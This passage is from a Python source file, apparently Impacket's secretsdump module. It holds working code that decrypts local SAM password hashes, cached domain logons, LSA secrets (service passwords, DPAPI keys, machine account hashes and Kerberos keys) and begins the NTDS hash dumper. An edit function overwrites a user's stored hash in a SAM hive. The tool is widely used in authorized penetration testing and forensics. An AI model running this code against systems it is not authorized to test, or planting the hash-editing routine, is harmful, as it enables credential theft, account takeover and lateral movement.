        # Remove the Names item
        try:
            rids.remove('Names')
        except:
            pass

        F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1]
        domainData = DOMAIN_ACCOUNT_F(F)
        LockoutThreshold = domainData['LockoutThreshold']
        LockoutDuration = domainData['LockoutDuration']
        LockoutDurationMinutes = timedelta(microseconds=abs(LockoutDuration) // 10).total_seconds() / 60

        V = self.getValue(ntpath.join(r'SAM\Domains\Account','V'))[1]
        domainDataV = DOMAIN_ACCOUNT_V(V)
        system_sid = self.binary_to_sid(domainDataV['SystemSid'], without_prefix=True)

        groups_root = r'SAM\Domains\Builtin\Aliases'
        groups = OrderedDict()

        for entry in self.enumKey(groups_root):
            if not entry.startswith("00000"):
                continue

            data = self.getValue(ntpath.join(groups_root, entry, 'C'))[1]
            group_data = BUILTIN_GROUP_C(data)

            name_offset = group_data['NameOffset']
            name_length = group_data['NameLength']
            groupname = group_data['Data'][name_offset:name_offset + name_length].decode('utf-16')
            user_count = group_data['UserCount']

            groups[groupname] = {
                'Group Name': groupname,
                'User Count': user_count,
                'Members': []
            }

            try:
                new_offset = 0
                for _ in range(500):  # Check a maximum of 500 members
                    offset = group_data['UsersOffset'] + 52 + new_offset
                    entry_type = unpack("<L", data[offset:offset + 4])[0]

                    if entry_type in (257, 1281):
                        sid_length = 12 if entry_type == 257 else 28
                        sid = self.binary_to_sid(data[offset:offset + sid_length])
                        groups[groupname]['Members'].append(sid)
                        new_offset += sid_length

            except Exception:
                if not groups[groupname]['Members']:
                    groups[groupname]['Members'] = ['No users in this group']

        local_admins = [
            member.strip()
            for group in groups.values()
            if group['Group Name'] == 'Administrators'
            for member in group['Members']
            if member.strip()
        ]

        empty_lm_hex = hexlify(ntlm.LMOWFv1('', '')).decode('utf-8')
        empty_nt_hex = hexlify(ntlm.NTOWFv1('', '')).decode('utf-8')

        for rid in rids:
            disabled = locked_out = auto_locked = is_admin = False

            userAccountF = USER_ACCOUNT_F(self.getValue(ntpath.join(usersKey, rid, 'F'))[1])
            InvalidPWDCount = userAccountF['InvalidPWDCount']
            LastIncorrectPasswordTimestamp = userAccountF['LastIncorrectPasswordTimestamp']
            LastIncorrectPasswordTimestamp_datetime = self.nt_time_to_datetime(LastIncorrectPasswordTimestamp)
            UserNumber = userAccountF['UserNumber']
            user_sid = f"{system_sid}-{UserNumber}"

            is_admin = user_sid in local_admins
            locked = InvalidPWDCount >= LockoutThreshold

            if locked:  # Let's check if the LockoutDuration has passed.
                lockout_expiry_time = LastIncorrectPasswordTimestamp_datetime + timedelta(minutes=LockoutDurationMinutes)
                now = datetime.utcnow()
                locked = now < lockout_expiry_time  # Compare current time with lockout expiry

            grouped_data = userAccountF['GroupedData']
            disabled = bool(grouped_data & 0x0001)
            auto_locked = bool(grouped_data & 0x0400)
            locked_out = locked

            raw_v = self.getValue(ntpath.join(usersKey, rid, 'V'))[1]
            userAccount = USER_ACCOUNT_V(raw_v)
            rid = int(rid, 16)

            V = userAccount['Data']
            userName = V[userAccount['NameOffset']:userAccount['NameOffset'] + userAccount['NameLength']].decode('utf-16le')

            if userAccount['NTHashLength'] == 0:
                logging.debug('The account %s doesn\'t have hash information.' % userName)
                continue

            encNTHash = b''
            if V[userAccount['NTHashOffset']:][2:3] == b'\x01':
                # Old Style hashes
                newStyle = False
                if userAccount['LMHashLength'] == 20:
                    encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
                if userAccount['NTHashLength'] == 20:
                    encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
            else:
                # New Style hashes
                newStyle = True
                if userAccount['LMHashLength'] == 24:
                    encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
                encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])

            LOG.debug('NewStyle hashes is: %s' % newStyle)
            if userAccount['LMHashLength'] >= 20:
                lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)
            else:
                lmHash = b''

            if encNTHash != b'':
                ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)
            else:
                ntHash = b''

            if lmHash == b'':
                lmHash = ntlm.LMOWFv1('','')
            if ntHash == b'':
                ntHash = ntlm.NTOWFv1('','')

            answer =  "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8'))

            if self.__pwdLastSet:
                if userAccountF['PasswordLastSetTimeStamp'] is not None:
                    pwdLastSet = self.nt_time_to_datetime(userAccountF['PasswordLastSetTimeStamp'])
                    # No datetime set, set value to 'never' to be consistent with NTDS parsing and output
                    if pwdLastSet == datetime(1601, 1, 1, 0, 0, 0):
                        pwdLastSet = 'never'
                else:
                    pwdLastSet = 'N/A'
                answer = f"{answer} (pwdLastSet={pwdLastSet})"
            if self.__printUserStatus is True:
                answer = f"{answer} (Enabled={'False' if disabled else 'True'}) (Locked={'True' if locked_out or auto_locked else 'False'}) (Admin={'True' if is_admin else 'False'})"

            self.__itemsFound[rid] = answer
            self.__perSecretCallback(answer)

            if self.__history:
                try:
                    history = self.__extract_local_history(rid, newStyle, userAccount)
                    lm_hist = history.get('lm', [])
                    nt_hist = history.get('nt', [])
                    while lm_hist and nt_hist and lm_hist[-1] == nt_hist[-1]:
                        lm_hist.pop()
                        nt_hist.pop()
                    LOG.debug('History lengths for %s (RID %d): lm=%d nt=%d', userName, rid,
                              len(lm_hist), len(nt_hist))
                    count = max(len(lm_hist), len(nt_hist))
                    for idx in range(count):
                        lm_val = lm_hist[idx] if idx < len(lm_hist) else b''
                        nt_val = nt_hist[idx] if idx < len(nt_hist) else b''
                        lm_hex = hexlify(lm_val).decode('utf-8') if lm_val else empty_lm_hex
                        nt_hex = hexlify(nt_val).decode('utf-8') if nt_val else empty_nt_hex
                        if lm_hex == empty_lm_hex and nt_hex == empty_nt_hex:
                            continue
                        history_line = f"{userName}_history{idx}:{rid}:{lm_hex}:{nt_hex}:::"
                        self.__historyItems.append(history_line)
                        self.__perSecretCallback(history_line)
                except Exception as exc:
                    LOG.error('SAM history parsing failed for RID %d: %s', rid, exc, exc_info=True)
    
    def edit(self, user, newNTHash, newLMHash=b''):
        NTPASSWORD = b"NTPASSWORD\0"
        LMPASSWORD = b"LMPASSWORD\0"

        if self.__samFile is None:
            # No SAM file provided
            return

        LOG.info('Editing local SAM hash for user "%s"' % user)
        self.getHBootKey()

        usersKey = 'SAM\\Domains\\Account\\Users'

        # Enumerate all the RIDs
        rids = self.enumKey(usersKey)
        # Remove the Names item
        try:
            rids.remove('Names')
        except:
            pass

        # Iterate through RIDs
        for rid in rids:
            userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
            _rid = rid
            rid = int(rid,16)

            V = userAccount['Data']

            userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')

            # Check for requested user
            if(userName.casefold() == user.casefold()):
                LOG.debug('Located rid for "%s": %d' % (user, rid))
            else:
                continue

            # User has no hash data
            if userAccount['NTHashLength'] == 0:
                logging.error('SAM hashes change for user %s failed. The account doesn\'t have hash information.' % userName)
                return
            
            # Retrieve old hashes to parse hash parameters and display values before the change
            encNTHash = b''
            if V[userAccount['NTHashOffset']:][2:3] == b'\x01':
                # Old Style hashes
                newStyle = False
                if userAccount['LMHashLength'] == 20:
                    encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
                if userAccount['NTHashLength'] == 20:
                    encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
            else:
                # New Style hashes
                newStyle = True
                if userAccount['LMHashLength'] == 24:
                    encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
                encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])

            LOG.debug('NewStyle hashes is: %s' % newStyle)
            LOG.debug('LMHashLength: %d - NTHashLength: %d' % (userAccount['LMHashLength'], userAccount['NTHashLength']))
            if userAccount['LMHashLength'] >= 20:
                lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)
            else:
                lmHash = b''
                newLMHash = b''

            if encNTHash != b'':
                ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)
            else:
                ntHash = b''
                newNTHash = b''
            
            userChanged = False
            if newLMHash != b'':
                encLMHash['Hash'] = self.__encryptHash(rid, newLMHash, encLMHash['Salt'], LMPASSWORD, newStyle)
                if userAccount['LMHashLength'] != len(encLMHash.getData()):
                    LOG.error('Mistaching LM lengths received.')
                    LOG.info('User probably has an empty password. Unable to set new LM hash.')
                    LOG.debug('Received: %d - Expected: %d' % (userAccount['LMHashLength'], len(encLMHash.getData())))
                    newLMHash = b''
                    # Missing LM data is unlikely to be a failure scenario, keep going
                else:
                    userAccount['Data'] = self.__replaceValue(V, userAccount['LMHashOffset'], encLMHash.getData())
                    userChanged = True
            
            if newNTHash != b'':
                encNTHash['Hash'] = self.__encryptHash(rid, newNTHash, encNTHash['Salt'], NTPASSWORD, newStyle)
                if userAccount['NTHashLength'] != len(encNTHash.getData()):
                    LOG.error("Mistaching NT lengths received!")
                    LOG.info("User probably has an empty password. Unable to set new NT hash.")
                    LOG.debug(f"Received: {userAccount['NTHashLength']} - Expected: {len(encNTHash.getData())}")
                    # Missing NT data *is* a failure scenario, return
                    return
                userAccount['Data'] = self.__replaceValue(V, userAccount['NTHashOffset'], encNTHash.getData())
                userChanged = True
            
            if lmHash == b'':
                lmHash = ntlm.LMOWFv1('','')
            if ntHash == b'':
                ntHash = ntlm.NTOWFv1('','')
            
            LOG.info("Previous user hash: %s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash).decode('utf-8'), hexlify(ntHash).decode('utf-8')))

            if userChanged:
                if self.setValue(ntpath.join(usersKey,_rid,'V'), userAccount.getData()) is None:
                    LOG.error('Failed to write new user hash to SAM hive.')
                    return
            else:
                LOG.info("Unable to change user hash, please ensure the target user already has a password set.")
            
            if newLMHash == b'':
                newLMHash = ntlm.LMOWFv1('', '')
            if newNTHash == b'':
                newNTHash = ntlm.NTOWFv1('', '')
            
            answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(newLMHash).decode('utf-8'), hexlify(newNTHash).decode('utf-8'))

            self.__itemsFound[rid] = answer
            self.__perSecretCallback(answer)

    def export(self, baseFileName, openFileFunc = None):
        if len(self.__itemsFound) > 0:
            items = sorted(self.__itemsFound)
            fileName = baseFileName+'.sam'
            fd = openFile(fileName, openFileFunc=openFileFunc)
            for item in items:
                fd.write(self.__itemsFound[item]+'\n')
            for line in self.__historyItems:
                fd.write(line+'\n')
            fd.close()
            return fileName

class LSASecrets(OfflineRegistry):
    UNKNOWN_USER = '(Unknown User)'
    class SECRET_TYPE:
        LSA = 0
        LSA_HASHED = 1
        LSA_RAW = 2
        LSA_KERBEROS = 3

    def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False,
                 perSecretCallback=lambda secretType, secret: _print_helper(secret)):
        OfflineRegistry.__init__(self, securityFile, isRemote)
        self.__hashedBootKey = b''
        self.__bootKey = bootKey
        self.__LSAKey = b''
        self.__NKLMKey = b''
        self.__vistaStyle = True
        self.__cryptoCommon = CryptoCommon()
        self.__securityFile = securityFile
        self.__remoteOps = remoteOps
        self.__cachedItems = []
        self.__secretItems = []
        self.__perSecretCallback = perSecretCallback
        self.__history = history

    def MD5(self, data):
        md5 = hashlib.new('md5')
        md5.update(data)
        return md5.digest()

    def __sha256(self, key, value, rounds=1000):
        sha = hashlib.sha256()
        sha.update(key)
        for i in range(1000):
            sha.update(value)
        return sha.digest()

    def __decryptSecret(self, key, value):
        # [MS-LSAD] Section 5.1.2
        plainText = b''

        encryptedSecretSize = unpack('<I', value[:4])[0]
        value = value[len(value)-encryptedSecretSize:]

        key0 = key
        for i in range(0, len(value), 8):
            cipherText = value[:8]
            tmpStrKey = key0[:7]
            tmpKey = transformKey(tmpStrKey)
            Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
            plainText += Crypt1.decrypt(cipherText)
            key0 = key0[7:]
            value = value[8:]
            # AdvanceKey
            if len(key0) < 7:
                key0 = key[len(key0):]

        secret = LSA_SECRET_XP(plainText)
        return secret['Secret']

    def __decryptHash(self, key, value, iv):
        hmac_md5 = HMAC.new(key,iv,MD5)
        rc4key = hmac_md5.digest()

        rc4 = ARC4.new(rc4key)
        data = rc4.encrypt(value)
        return data

    def __decryptLSA(self, value):
        if self.__vistaStyle is True:
            # ToDo: There could be more than one LSA Keys
            record = LSA_SECRET(value)
            tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
            plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
            record = LSA_SECRET_BLOB(plainText)
            self.__LSAKey = record['Secret'][52:][:32]

        else:
            md5 = hashlib.new('md5')
            md5.update(self.__bootKey)
            for i in range(1000):
                md5.update(value[60:76])
            tmpKey = md5.digest()
            rc4 = ARC4.new(tmpKey)
            plainText = rc4.decrypt(value[12:60])
            self.__LSAKey = plainText[0x10:0x20]

    def __getLSASecretKey(self):
        LOG.debug('Decrypting LSA Key')
        # Let's try the key post XP
        value = self.getValue('\\Policy\\PolEKList\\default')
        if value is None:
            LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')
            # Second chance
            value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
            self.__vistaStyle = False
            if value is None:
                # No way :(
                return None

        self.__decryptLSA(value[1])

    def __getNLKMSecret(self):
        LOG.debug('Decrypting NL$KM')
        value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
        if value is None:
            raise Exception("Couldn't get NL$KM value")
        if self.__vistaStyle is True:
            record = LSA_SECRET(value[1])
            tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
            self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
        else:
            self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])

    def __pad(self, data):
        if (data & 0x3) > 0:
            return data + (data & 0x3)
        else:
            return data

    def dumpCachedHashes(self):
        if self.__securityFile is None:
            # No SECURITY file provided
            return

        LOG.info('Dumping cached domain logon information (domain/username:hash)')

        # Let's first see if there are cached entries
        values = self.enumValues('\\Cache')
        if values is None:
            # No cache entries
            return
        try:
            # Remove unnecessary value
            values.remove(b'NL$Control')
        except:
            pass

        iterationCount = 10240

        if b'NL$IterationCount' in values:
            values.remove(b'NL$IterationCount')

            record = self.getValue('\\Cache\\NL$IterationCount')[1]
            if record > 10240:
                iterationCount = record & 0xfffffc00
            else:
                iterationCount = record * 1024

        self.__getLSASecretKey()
        self.__getNLKMSecret()

        for value in values:
            LOG.debug('Looking into %s' % value.decode('utf-8'))
            record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1])
            if record['IV'] != 16 * b'\x00':
            #if record['UserLength'] > 0:
                if record['Flags'] & 1 == 1:
                    # Encrypted
                    if self.__vistaStyle is True:
                        plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])
                    else:
                        plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])
                        pass
                else:
                    # Plain! Until we figure out what this is, we skip it
                    #plainText = record['EncryptedData']
                    continue
                encHash = plainText[:0x10]
                plainText = plainText[0x48:]
                userName = plainText[:record['UserLength']].decode('utf-16le')
                plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):]
                domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')
                timestamp = datetime.fromtimestamp(getUnixTime(record['LastWrite']), tz=timezone.utc)

                if self.__vistaStyle is True:
                    answer = "%s/%s:$DCC2$%s#%s#%s: (%s)" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'), timestamp)
                else:
                    answer = "%s/%s:%s:%s: (%s)" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName, timestamp)

                self.__cachedItems.append(answer)
                self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)

    def __printSecret(self, name, secretItem):
        # Based on [MS-LSAD] section 3.1.1.4

        # First off, let's discard NULL secrets.
        if len(secretItem) == 0:
            LOG.debug('Discarding secret %s, NULL Data' % name)
            return

        # We might have secrets with zero
        if secretItem.startswith(b'\x00\x00'):
            LOG.debug('Discarding secret %s, all zeros' % name)
            return

        upperName = name.upper()

        LOG.info('%s ' % name)

        secret = ''

        if upperName.startswith('_SC_'):
            # Service name, a password might be there
            # Let's first try to decode the secret
            try:
                strDecoded = secretItem.decode('utf-16le')
            except:
                pass
            else:
                # We have to get the account the service
                # runs under
                if hasattr(self.__remoteOps, 'getServiceAccount'):
                    account = self.__remoteOps.getServiceAccount(name[4:])
                    if account is None:
                        secret = self.UNKNOWN_USER + ':'
                    else:
                        secret =  "%s:" % account
                else:
                    # We don't support getting this info for local targets at the moment
                    secret = self.UNKNOWN_USER + ':'
                secret += strDecoded
        elif upperName.startswith('DEFAULTPASSWORD'):
            # defaults password for winlogon
            # Let's first try to decode the secret
            try:
                strDecoded = secretItem.decode('utf-16le')
            except:
                pass
            else:
                # We have to get the account this password is for
                if hasattr(self.__remoteOps, 'getDefaultLoginAccount'):
                    account = self.__remoteOps.getDefaultLoginAccount()
                    if account is None:
                        secret = self.UNKNOWN_USER + ':'
                    else:
                        secret = "%s:" % account
                else:
                    # We don't support getting this info for local targets at the moment
                    secret = self.UNKNOWN_USER + ':'
                secret += strDecoded
        elif upperName.startswith('ASPNET_WP_PASSWORD'):
            try:
                strDecoded = secretItem.decode('utf-16le')
            except:
                pass
            else:
                secret = 'ASPNET: %s' % strDecoded
        elif upperName.startswith('DPAPI_SYSTEM'):
            # Decode the DPAPI Secrets
            dpapi = DPAPI_SYSTEM(secretItem)
            secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'),
                                                               hexlify(dpapi['UserKey']).decode('latin-1'))
        elif upperName.startswith('$MACHINE.ACC'):
            # compute MD4 of the secret.. yes.. that is the nthash? :-o
            md4 = MD4.new()
            md4.update(secretItem)
            machine = None
            domain = None
            if hasattr(self.__remoteOps, 'getMachineNameAndDomain'):
                machine, domain = self.__remoteOps.getMachineNameAndDomain()
            if not machine or not domain:
                # Offline mode: try to get domain/machine from SECURITY hive
                salt = self.__getMachineKerberosSaltOffline()
                if salt != b'':
                    # Parse salt format: {REALM}host{hostname.fqdn}
                    salt_str = salt.decode('utf-8')
                    host_idx = salt_str.find('host')
                    if host_idx > 0:
                        realm = salt_str[:host_idx]
                        fqdn = salt_str[host_idx + 4:]
                        domain = realm.split('.')[0] if '.' in realm else realm
                        machine = fqdn.split('.')[0].upper() if '.' in fqdn else fqdn.upper()
            if machine and domain:
                printname = "%s\\%s$" % (domain, machine)
                secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
                                               hexlify(md4.digest()).decode('utf-8'))
            else:
                printname = "$MACHINE.ACC"
                secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'),
                                                  hexlify(md4.digest()).decode('utf-8'))
            # Attempt to calculate and print Kerberos keys
            if not self.__printMachineKerberos(secretItem, printname):
                LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)')
            # Always print plaintext anyway since this may be needed for some popular usecases
            extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8'))
            self.__secretItems.append(extrasecret)
            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret)
        elif re.match(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None:
            # Decode stored security questions
            sid = re.search(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1)
            try:
                strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ')
                strDecoded = json.loads(strDecoded)
            except:
                pass
            else:
                output = []
                if strDecoded['version'] == 1:
                    output.append(" - Version : %d" % strDecoded['version'])
                    for qk in strDecoded['questions']:
                        output.append(" | Question: %s" % qk['question'])
                        output.append(" | |--> Answer: %s" % qk['answer'])
                    output = '\n'.join(output)
                    secret = 'Security Questions for user %s: \n%s' % (sid, output)
                else:
                    LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version']))
                    LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.")
                    secret = json.dumps(strDecoded, indent=4)

        if secret != '':
            printableSecret = secret
            self.__secretItems.append(secret)
            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)
        else:
            # Default print, hexdump
            printableSecret  = '%s:%s' % (name, hexlify(secretItem).decode('utf-8'))
            self.__secretItems.append(printableSecret)
            # If we're using the default callback (ourselves), we print the hex representation. If not, the
            # user will need to decide what to do.
            if self.__module__ == self.__perSecretCallback.__module__:
                hexdump(secretItem)
            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)

    def __getMachineKerberosSaltOffline(self):
        """Compute Kerberos salt from SECURITY hive Policy values (offline mode).
        Reads PolDnDDN (domain FQDN) and PolAcDmN (machine name) which are stored
        as LSA_UNICODE_STRING structures."""
        try:
            dnDdnValue = self.getValue('\\Policy\\PolDnDDN\\default')
            acDmNValue = self.getValue('\\Policy\\PolAcDmN\\default')
            if dnDdnValue is None or acDmNValue is None:
                return b''

            # LSA_UNICODE_STRING: USHORT Length, USHORT MaxLength, ULONG Padding, then UTF-16LE data
            def decode_lsa_unicode(raw):
                if len(raw) < 8:
                    return ''
                length = unpack('<H', raw[:2])[0]
                return raw[8:8 + length].decode('utf-16-le').rstrip('\x00')

            domain = decode_lsa_unicode(dnDdnValue[1])
            machine = decode_lsa_unicode(acDmNValue[1])
            if not domain or not machine:
                return b''

            host = machine.lower().rstrip('$')
            salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.encode('utf-8'), domain.lower().encode('utf-8'))
            return salt
        except Exception:
            LOG.debug('Exception computing offline Kerberos salt', exc_info=True)
            return b''

    def __printMachineKerberos(self, rawsecret, machinename):
        # Attempt to create Kerberos keys from machine account (if possible)
        salt = b''
        if hasattr(self.__remoteOps, 'getMachineKerberosSalt'):
            salt = self.__remoteOps.getMachineKerberosSalt()
        if salt == b'':
            # Offline mode: derive salt from SECURITY hive registry values
            salt = self.__getMachineKerberosSaltOffline()
        if salt == b'':
            return False

        allciphers = [
            int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
            int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
            int(constants.EncryptionTypes.des_cbc_md5.value)
        ]
        # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount
        # of invalid unicode characters.
        # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft
        # implicitly replaces those when converting utf-16 to utf-8.
        # When we use the same method we get the valid password -> key mapping :)
        rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
        for etype in allciphers:
            try:
                key = string_to_key(etype, rawsecret, salt, None)
            except Exception:
                LOG.debug('Exception', exc_info=True)
                raise
            typename = NTDSHashes.KERBEROS_TYPE[etype]
            secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8'))
            self.__secretItems.append(secret)
            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret)
        return True

    def dumpSecrets(self):
        if self.__securityFile is None:
            # No SECURITY file provided
            return

        LOG.info('Dumping LSA Secrets')

        # Let's first see if there are cached entries
        keys = self.enumKey('\\Policy\\Secrets')
        if keys is None:
            # No entries
            return
        try:
            # Remove unnecessary value
            keys.remove(b'NL$Control')
        except:
            pass

        if self.__LSAKey == b'':
            self.__getLSASecretKey()

        for key in keys:
            LOG.debug('Looking into %s' % key)
            valueTypeList = ['CurrVal']
            # Check if old LSA secrets values are also need to be shown
            if self.__history:
                valueTypeList.append('OldVal')

            for valueType in valueTypeList:
                value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
                if value is not None and value[1] != 0:
                    if self.__vistaStyle is True:
                        record = LSA_SECRET(value[1])
                        tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
                        plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
                        record = LSA_SECRET_BLOB(plainText)
                        secret = record['Secret']
                    else:
                        secret = self.__decryptSecret(self.__LSAKey, value[1])

                    # If this is an OldVal secret, let's append '_history' to be able to distinguish it and
                    # also be consistent with NTDS history
                    if valueType == 'OldVal':
                        key += '_history'
                    self.__printSecret(key, secret)

    def exportSecrets(self, baseFileName, openFileFunc = None):
        if len(self.__secretItems) > 0:
            fileName = baseFileName+'.secrets'
            fd = openFile(fileName, openFileFunc=openFileFunc)
            for item in self.__secretItems:
                fd.write(item+'\n')
            fd.close()
            return fileName

    def exportCached(self, baseFileName, openFileFunc = None):
        if len(self.__cachedItems) > 0:
            fileName = baseFileName+'.cached'
            fd = openFile(fileName, openFileFunc=openFileFunc)
            for item in self.__cachedItems:
                fd.write(item+'\n')
            fd.close()
            return fileName


class ResumeSessionMgrInFile(object):
    def __init__(self, resumeFileName=None):
        self.__resumeFileName = resumeFileName
        self.__resumeFile = None
        self.__hasResumeData = resumeFileName is not None

    def hasResumeData(self):
        return self.__hasResumeData

    def clearResumeData(self):
        self.endTransaction()
        if self.__resumeFileName and os.path.isfile(self.__resumeFileName):
            os.remove(self.__resumeFileName)

    def writeResumeData(self, data):
        # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that
        self.__resumeFile.seek(0, 0)
        self.__resumeFile.truncate(0)
        self.__resumeFile.write(data.encode())
        self.__resumeFile.flush()

    def getResumeData(self):
        try:
            self.__resumeFile = open(self.__resumeFileName,'rb')
        except Exception as e:
            raise Exception('Cannot open resume session file name %s' % str(e))
        resumeSid = self.__resumeFile.read()
        self.__resumeFile.close()
        # Truncate and reopen the file as wb+
        self.__resumeFile = open(self.__resumeFileName,'wb+')
        return resumeSid.decode('utf-8')

    def getFileName(self):
        return self.__resumeFileName

    def beginTransaction(self):
        if not self.__resumeFileName:
            self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8))
            LOG.debug('Session resume file will be %s' % self.__resumeFileName)
        if not self.__resumeFile:
            try:
                self.__resumeFile = open(self.__resumeFileName, 'wb+')
            except Exception as e:
                raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e)))

    def endTransaction(self):
        if self.__resumeFile:
            self.__resumeFile.close()
            self.__resumeFile = None


class NTDSHashes:
    class MissingPekIndex(Exception):
        pass

    class SECRET_TYPE:
        NTDS = 0
        NTDS_CLEARTEXT = 1
        NTDS_KERBEROS = 2

    NAME_TO_INTERNAL = {
        'uSNCreated':b'ATTq131091',
        'uSNChanged':b'ATTq131192',
        'name':b'ATTm3',
        'objectGUID':b'ATTk589826',
        'objectSid':b'ATTr589970',
        'userAccountControl':b'ATTj589832',
        'primaryGroupID':b'ATTj589922',
        'accountExpires':b'ATTq589983',
        'logonCount':b'ATTj589993',
        'sAMAccountName':b'ATTm590045',
        'sAMAccountType':b'ATTj590126',
        'lastLogonTimestamp':b'ATTq591520',
        'lastLogon':b'ATTq589876',
        'userPrincipalName':b'ATTm590480',
        'unicodePwd':b'ATTk589914',
        'dBCSPwd':b'ATTk589879',
        'ntPwdHistory':b'ATTk589918',
        'lmPwdHistory':b'ATTk589984',
        'pekList':b'ATTk590689',
        'supplementalCredentials':b'ATTk589949',
        'pwdLastSet':b'ATTq589920',
        'instanceType':b'ATTj131073',
    }

    NAME_TO_ATTRTYP = {
        'userPrincipalName': 0x90290,
        'sAMAccountName': 0x900DD,
        'unicodePwd': 0x9005A,
        'dBCSPwd': 0x90037,
        'ntPwdHistory': 0x9005E,
        'lmPwdHistory': 0x900A0,
        'supplementalCredentials': 0x9007D,
        'objectSid': 0x90092,
        'userAccountControl':0x90008,
    }

    ATTRTYP_TO_ATTID = {
        'userPrincipalName': '1.2.840.113556.1.4.656',
        'sAMAccountName': '1.2.840.113556.1.4.221',
        'unicodePwd': '1.2.840.113556.1.4.90',
        'dBCSPwd': '1.2.840.113556.1.4.55',
        'ntPwdHistory': '1.2.840.113556.1.4.94',
        'lmPwdHistory': '1.2.840.113556.1.4.160',
        'supplementalCredentials': '1.2.840.113556.1.4.125',
        'objectSid': '1.2.840.113556.1.4.146',
        'pwdLastSet': '1.2.840.113556.1.4.96',
        'userAccountControl':'1.2.840.113556.1.4.8',
    }

    KERBEROS_TYPE = {
        1:'dec-cbc-crc',
        3:'des-cbc-md5',
        17:'aes128-cts-hmac-sha1-96',
        18:'aes256-cts-hmac-sha1-96',
        0xffffff74:'rc4_hmac',
    }

    INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items())

    SAM_NORMAL_USER_ACCOUNT = 0x30000000
    SAM_MACHINE_ACCOUNT     = 0x30000001
    SAM_TRUST_ACCOUNT       = 0x30000002

    ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)

    class PEKLIST_ENC(Structure):
        structure = (
            ('Header','8s=b""'),
            ('KeyMaterial','16s=b""'),
            ('EncryptedPek',':'),
        )

    class PEKLIST_PLAIN(Structure):
        structure = (
            ('Header','32s=b""'),
